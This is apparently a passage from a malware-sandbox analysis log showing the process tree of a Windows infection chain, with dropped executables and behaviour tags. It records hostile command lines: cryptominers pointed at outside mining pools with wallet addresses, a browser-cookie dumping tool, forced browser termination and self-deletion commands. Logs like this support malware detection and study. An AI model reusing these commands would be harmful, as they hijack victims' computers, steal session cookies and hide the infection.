C:\Users\Admin\AppData\Local\Temp\afqkj1ce.2eh\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\afqkj1ce.2eh\toolspab1.exe17⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:8000
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4z2k2jdu.nqr\GcleanerWW.exe /mixone & exit15⤵PID:4280
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\amvvisjd.ubw\setup_10.2_mix.exe & exit15⤵PID:6476
-
C:\Users\Admin\AppData\Local\Temp\amvvisjd.ubw\setup_10.2_mix.exeC:\Users\Admin\AppData\Local\Temp\amvvisjd.ubw\setup_10.2_mix.exe16⤵PID:5360
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hkfyiajv.0l0\file.exe & exit15⤵PID:5948
-
C:\Users\Admin\AppData\Local\Temp\hkfyiajv.0l0\file.exeC:\Users\Admin\AppData\Local\Temp\hkfyiajv.0l0\file.exe16⤵PID:4532
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\Setup.exe"17⤵PID:5504
-
C:\Users\Admin\AppData\Local\Temp\SQZF090WJE\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\SQZF090WJE\multitimer.exe" 0 3060197d33d91c80.94013368 0 10118⤵PID:8120
-
C:\Users\Admin\AppData\Local\Temp\SQZF090WJE\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\SQZF090WJE\multitimer.exe" 1 3.1617561666.606a084256dd3 10119⤵PID:1296
-
C:\Users\Admin\AppData\Local\Temp\SQZF090WJE\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\SQZF090WJE\multitimer.exe" 2 3.1617561666.606a084256dd320⤵PID:5616
-
C:\Users\Admin\AppData\Local\Temp\unm5lfg2cxc\vict.exe"C:\Users\Admin\AppData\Local\Temp\unm5lfg2cxc\vict.exe" /VERYSILENT /id=53521⤵PID:8184
-
C:\Users\Admin\AppData\Local\Temp\is-OHEU0.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-OHEU0.tmp\vict.tmp" /SL5="$3053C,870426,780800,C:\Users\Admin\AppData\Local\Temp\unm5lfg2cxc\vict.exe" /VERYSILENT /id=53522⤵PID:6284
-
C:\Users\Admin\AppData\Local\Temp\is-MTPL9.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-MTPL9.tmp\win1host.exe" 53523⤵PID:7376
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\ayikpzye51x\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\ayikpzye51x\Setup3310.exe" /Verysilent /subid=57721⤵PID:7308
-
C:\Users\Admin\AppData\Local\Temp\is-PGGUD.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-PGGUD.tmp\Setup3310.tmp" /SL5="$1202F8,138429,56832,C:\Users\Admin\AppData\Local\Temp\ayikpzye51x\Setup3310.exe" /Verysilent /subid=57722⤵PID:7220
-
C:\Users\Admin\AppData\Local\Temp\is-T32VH.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-T32VH.tmp\Setup.exe" /Verysilent23⤵PID:7432
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\kyperq1kor4\s5fm2lnn2ox.exe"C:\Users\Admin\AppData\Local\Temp\kyperq1kor4\s5fm2lnn2ox.exe" /ustwo INSTALL21⤵PID:1576
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "s5fm2lnn2ox.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\kyperq1kor4\s5fm2lnn2ox.exe" & exit22⤵PID:5640
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "s5fm2lnn2ox.exe" /f23⤵
- Kills process with taskkill
PID:5380
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\ustaajboidp\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\ustaajboidp\cpyrix.exe" /VERYSILENT21⤵PID:1888
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe22⤵PID:6632
-
C:\Users\Admin\AppData\Roaming\1.exe"{path}"23⤵PID:6616
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe22⤵PID:7004
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"23⤵PID:8024
-
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"23⤵PID:6044
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\pykhxgpmqft\app.exe"C:\Users\Admin\AppData\Local\Temp\pykhxgpmqft\app.exe" /8-2321⤵PID:3884
-
C:\Users\Admin\AppData\Local\Temp\pykhxgpmqft\app.exe"C:\Users\Admin\AppData\Local\Temp\pykhxgpmqft\app.exe" /8-2322⤵PID:8400
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\EGHY682EMO\setups.exe"C:\Users\Admin\AppData\Local\Temp\EGHY682EMO\setups.exe" ll18⤵PID:1440
-
C:\Users\Admin\AppData\Local\Temp\is-9F4KL.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-9F4KL.tmp\setups.tmp" /SL5="$9032E,454998,229376,C:\Users\Admin\AppData\Local\Temp\EGHY682EMO\setups.exe" ll19⤵PID:3144
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\askinstall20.exe"17⤵PID:4060
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe18⤵PID:1136
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe19⤵
- Kills process with taskkill
PID:1796
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\Full Program Features.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\Full Program Features.exe"17⤵PID:4756
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"18⤵PID:6772
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install19⤵PID:3440
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\file.exe"17⤵PID:7044
-
C:\Users\Admin\AppData\Roaming\4E90.tmp.exe"C:\Users\Admin\AppData\Roaming\4E90.tmp.exe"18⤵PID:7276
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w8028 --cpu-max-threads-hint 50 -r 999919⤵PID:7340
-
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w30968@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 9999919⤵PID:5640
-
-
-
C:\Users\Admin\AppData\Roaming\5B43.tmp.exe"C:\Users\Admin\AppData\Roaming\5B43.tmp.exe"18⤵PID:8108
-
C:\Windows\SysWOW64\cmd.exe/c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Roaming\5B43.tmp.exe19⤵PID:9004
-
C:\Windows\SysWOW64\timeout.exetimeout /t 320⤵
- Delays execution with timeout.exe
PID:8248
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX3\file.exe"18⤵PID:4100
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.119⤵
- Runs ping.exe
PID:800
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\md2_2efs.exe"17⤵PID:5888
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\BTRSetp.exe"17⤵PID:4700
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\gcttt.exe"17⤵PID:8656
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt18⤵PID:2996
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt18⤵PID:8744
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fhublbhg.ntw\app.exe /8-2222 & exit15⤵PID:2100
-
C:\Users\Admin\AppData\Local\Temp\fhublbhg.ntw\app.exeC:\Users\Admin\AppData\Local\Temp\fhublbhg.ntw\app.exe /8-222216⤵PID:7352
-
C:\Users\Admin\AppData\Local\Temp\fhublbhg.ntw\app.exe"C:\Users\Admin\AppData\Local\Temp\fhublbhg.ntw\app.exe" /8-222217⤵PID:6924
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bhdehne5.mur\Four.exe & exit15⤵PID:4548
-
C:\Users\Admin\AppData\Local\Temp\bhdehne5.mur\Four.exeC:\Users\Admin\AppData\Local\Temp\bhdehne5.mur\Four.exe16⤵PID:8148
-
C:\Users\Admin\AppData\Local\Temp\TMBAKGB8T0\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\TMBAKGB8T0\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10417⤵PID:4592
-
C:\Users\Admin\AppData\Local\Temp\TMBAKGB8T0\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\TMBAKGB8T0\multitimer.exe" 1 3.1617561728.606a088089195 10418⤵PID:5192
-
C:\Users\Admin\AppData\Local\Temp\TMBAKGB8T0\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\TMBAKGB8T0\multitimer.exe" 2 3.1617561728.606a08808919519⤵PID:6532
-
C:\Users\Admin\AppData\Local\Temp\4rhevdzwxyu\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\4rhevdzwxyu\cpyrix.exe" /VERYSILENT20⤵PID:4428
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe21⤵PID:8524
-
C:\Users\Admin\AppData\Roaming\1.exe"{path}"22⤵PID:7232
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe21⤵PID:8796
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"22⤵PID:8868
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\svnyn44ykru\app.exe"C:\Users\Admin\AppData\Local\Temp\svnyn44ykru\app.exe" /8-2320⤵PID:8132
-
C:\Users\Admin\AppData\Local\Temp\svnyn44ykru\app.exe"C:\Users\Admin\AppData\Local\Temp\svnyn44ykru\app.exe" /8-2321⤵PID:8724
-
-
-
C:\Users\Admin\AppData\Local\Temp\csrvsbff0kf\1ljygqwegtc.exe"C:\Users\Admin\AppData\Local\Temp\csrvsbff0kf\1ljygqwegtc.exe" /ustwo INSTALL20⤵PID:5052
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "1ljygqwegtc.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\csrvsbff0kf\1ljygqwegtc.exe" & exit21⤵
- Checks computer location settings
- Modifies Control Panel
- Modifies registry class
PID:5040 -
C:\Windows\SysWOW64\taskkill.exetaskkill /im "1ljygqwegtc.exe" /f22⤵
- Kills process with taskkill
PID:8816
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\sfiqhx35ox2\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\sfiqhx35ox2\Setup3310.exe" /Verysilent /subid=57720⤵PID:5916
-
C:\Users\Admin\AppData\Local\Temp\is-9REI9.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-9REI9.tmp\Setup3310.tmp" /SL5="$F0382,138429,56832,C:\Users\Admin\AppData\Local\Temp\sfiqhx35ox2\Setup3310.exe" /Verysilent /subid=57721⤵PID:8240
-
C:\Users\Admin\AppData\Local\Temp\is-7P6A6.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-7P6A6.tmp\Setup.exe" /Verysilent22⤵PID:5204
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1cnmqnhc0gg\vict.exe"C:\Users\Admin\AppData\Local\Temp\1cnmqnhc0gg\vict.exe" /VERYSILENT /id=53520⤵PID:3432
-
C:\Users\Admin\AppData\Local\Temp\is-AKP5P.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-AKP5P.tmp\vict.tmp" /SL5="$905E4,870426,780800,C:\Users\Admin\AppData\Local\Temp\1cnmqnhc0gg\vict.exe" /VERYSILENT /id=53521⤵PID:8324
-
C:\Users\Admin\AppData\Local\Temp\is-PDJ8F.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-PDJ8F.tmp\win1host.exe" 53522⤵PID:8840
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\DA5N3DL5RI\setups.exe"C:\Users\Admin\AppData\Local\Temp\DA5N3DL5RI\setups.exe" ll17⤵PID:4240
-
C:\Users\Admin\AppData\Local\Temp\is-I2BB5.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-I2BB5.tmp\setups.tmp" /SL5="$B01F6,454998,229376,C:\Users\Admin\AppData\Local\Temp\DA5N3DL5RI\setups.exe" ll18⤵PID:356
-
-
-
-
-
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\0Jm5LQEyZe9W.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\0Jm5LQEyZe9W.exe"11⤵
- Suspicious use of SetThreadContext
PID:5488 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe12⤵PID:7024
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe"11⤵PID:1440
-
C:\Users\Admin\AppData\Local\Temp\FRZOOKLV2F\setups.exe"C:\Users\Admin\AppData\Local\Temp\FRZOOKLV2F\setups.exe" ll12⤵PID:4292
-
C:\Users\Admin\AppData\Local\Temp\is-GJU1I.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-GJU1I.tmp\setups.tmp" /SL5="$5055C,454998,229376,C:\Users\Admin\AppData\Local\Temp\FRZOOKLV2F\setups.exe" ll13⤵
- Checks computer location settings
PID:5028
-
-
-
C:\Users\Admin\AppData\Local\Temp\H5BPFZVC45\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\H5BPFZVC45\multitimer.exe" 0 306065bb10421b26.04333812 0 10312⤵PID:3408
-
C:\Users\Admin\AppData\Local\Temp\H5BPFZVC45\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\H5BPFZVC45\multitimer.exe" 1 3.1617561550.606a07cecb5da 10313⤵
- Adds Run key to start application
PID:7760 -
C:\Users\Admin\AppData\Local\Temp\H5BPFZVC45\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\H5BPFZVC45\multitimer.exe" 2 3.1617561550.606a07cecb5da14⤵
- Checks for any installed AV software in registry
PID:6780 -
C:\Users\Admin\AppData\Local\Temp\1oy2etlzw4u\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\1oy2etlzw4u\cpyrix.exe" /VERYSILENT15⤵PID:5840
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe16⤵
- Suspicious use of SetThreadContext
- Drops file in Windows directory
PID:3408 -
C:\Users\Admin\AppData\Roaming\1.exe"{path}"17⤵PID:5956
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe16⤵
- Suspicious use of SetThreadContext
PID:2868 -
C:\Users\Admin\AppData\Roaming\2.exe"{path}"17⤵PID:6920
-
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"17⤵PID:7116
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\y2bbost4cum\vict.exe"C:\Users\Admin\AppData\Local\Temp\y2bbost4cum\vict.exe" /VERYSILENT /id=53515⤵PID:1812
-
C:\Users\Admin\AppData\Local\Temp\is-C4M6B.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-C4M6B.tmp\vict.tmp" /SL5="$603EE,870426,780800,C:\Users\Admin\AppData\Local\Temp\y2bbost4cum\vict.exe" /VERYSILENT /id=53516⤵PID:7564
-
C:\Users\Admin\AppData\Local\Temp\is-9HCE7.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-9HCE7.tmp\win1host.exe" 53517⤵PID:2364
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\f21f22phzli\app.exe"C:\Users\Admin\AppData\Local\Temp\f21f22phzli\app.exe" /8-2315⤵PID:7216
-
C:\Users\Admin\AppData\Local\Temp\f21f22phzli\app.exe"C:\Users\Admin\AppData\Local\Temp\f21f22phzli\app.exe" /8-2316⤵
- Modifies data under HKEY_USERS
PID:3308
-
-
-
C:\Users\Admin\AppData\Local\Temp\32gybl2vnat\o0rdgbyd0re.exe"C:\Users\Admin\AppData\Local\Temp\32gybl2vnat\o0rdgbyd0re.exe" /ustwo INSTALL15⤵PID:6996
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "o0rdgbyd0re.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\32gybl2vnat\o0rdgbyd0re.exe" & exit16⤵PID:2288
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "o0rdgbyd0re.exe" /f17⤵
- Kills process with taskkill
PID:6504
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\o2jibwlkzvj\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\o2jibwlkzvj\Setup3310.exe" /Verysilent /subid=57715⤵PID:1632
-
C:\Users\Admin\AppData\Local\Temp\is-R9S1H.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-R9S1H.tmp\Setup3310.tmp" /SL5="$30450,138429,56832,C:\Users\Admin\AppData\Local\Temp\o2jibwlkzvj\Setup3310.exe" /Verysilent /subid=57716⤵PID:4752
-
C:\Users\Admin\AppData\Local\Temp\is-2KRBH.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-2KRBH.tmp\Setup.exe" /Verysilent17⤵PID:2524
-
-
-
-
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe"11⤵PID:4292
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe"11⤵
- Drops file in Program Files directory
PID:5156 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"12⤵PID:2588
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install13⤵PID:4988
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe"11⤵
- Drops file in Program Files directory
PID:6120 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\javcse\install.vbs"12⤵PID:5704
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\javcse\install.dll",install13⤵
- Modifies registry class
PID:7296
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"11⤵PID:6868
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe"11⤵
- Checks whether UAC is enabled
- Drops file in Program Files directory
PID:6424
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\uscavaspvyj\eu3d3wh4krs.exe"C:\Users\Admin\AppData\Local\Temp\uscavaspvyj\eu3d3wh4krs.exe" /ustwo INSTALL8⤵PID:5520
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "eu3d3wh4krs.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\uscavaspvyj\eu3d3wh4krs.exe" & exit9⤵PID:8084
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "eu3d3wh4krs.exe" /f10⤵
- Kills process with taskkill
PID:4384
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\bkfpsedrfr1\vict.exe"C:\Users\Admin\AppData\Local\Temp\bkfpsedrfr1\vict.exe" /VERYSILENT /id=5358⤵PID:6204
-
C:\Users\Admin\AppData\Local\Temp\is-U34TL.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-U34TL.tmp\vict.tmp" /SL5="$80210,870426,780800,C:\Users\Admin\AppData\Local\Temp\bkfpsedrfr1\vict.exe" /VERYSILENT /id=5359⤵PID:4512
-
C:\Users\Admin\AppData\Local\Temp\is-NKUP0.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-NKUP0.tmp\win1host.exe" 53510⤵PID:6620
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\tm1k4cqzpu4\app.exe"C:\Users\Admin\AppData\Local\Temp\tm1k4cqzpu4\app.exe" /8-238⤵PID:3480
-
C:\Users\Admin\AppData\Local\Temp\tm1k4cqzpu4\app.exe"C:\Users\Admin\AppData\Local\Temp\tm1k4cqzpu4\app.exe" /8-239⤵
- Modifies data under HKEY_USERS
PID:6336
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\8W98Q8Y6NY\setups.exe"C:\Users\Admin\AppData\Local\Temp\8W98Q8Y6NY\setups.exe" ll5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2964 -
C:\Users\Admin\AppData\Local\Temp\is-UM94R.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-UM94R.tmp\setups.tmp" /SL5="$20210,454998,229376,C:\Users\Admin\AppData\Local\Temp\8W98Q8Y6NY\setups.exe" ll6⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1572
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1608 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
- Suspicious use of WriteProcessMemory
PID:4128 -
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4208
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full_Version.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full_Version.exe"4⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4772 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"5⤵PID:4848
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install6⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5044
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4884 -
C:\Users\Admin\AppData\Roaming\10E9.tmp.exe"C:\Users\Admin\AppData\Roaming\10E9.tmp.exe"5⤵PID:1220
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w4544 --cpu-max-threads-hint 50 -r 99996⤵
- Blocklisted process makes network request
PID:5220
-
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w31218@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 999996⤵PID:5500
-
-
-
C:\Users\Admin\AppData\Roaming\12DE.tmp.exe"C:\Users\Admin\AppData\Roaming\12DE.tmp.exe"5⤵
- Executes dropped EXE
PID:4784 -
C:\Windows\SysWOW64\cmd.exe/c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Roaming\12DE.tmp.exe6⤵PID:2208
-
C:\Windows\SysWOW64\timeout.exetimeout /t 37⤵
- Delays execution with timeout.exe
PID:5172
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"5⤵PID:5804
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
PID:5964
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:5904
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"4⤵
- Modifies Internet Explorer settings
PID:4252 -
C:\ProgramData\8966638.exe"C:\ProgramData\8966638.exe"5⤵PID:5668
-
-
C:\ProgramData\5425564.exe"C:\ProgramData\5425564.exe"5⤵
- Adds Run key to start application
PID:5168 -
C:\ProgramData\Windows Host\Windows Host.exe"C:\ProgramData\Windows Host\Windows Host.exe"6⤵PID:192
-
-
-
C:\ProgramData\5582727.exe"C:\ProgramData\5582727.exe"5⤵
- Suspicious use of SetThreadContext
PID:4336 -
C:\ProgramData\5582727.exe"{path}"6⤵PID:6968
-
-
-
C:\ProgramData\7652742.exe"C:\ProgramData\7652742.exe"5⤵
- Suspicious use of SetThreadContext
PID:6076 -
C:\ProgramData\7652742.exe"{path}"6⤵PID:7164
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"4⤵PID:5816
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:2112
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:6240
-
-
-
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3260 -
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
PID:4280
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4184
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:4252
-
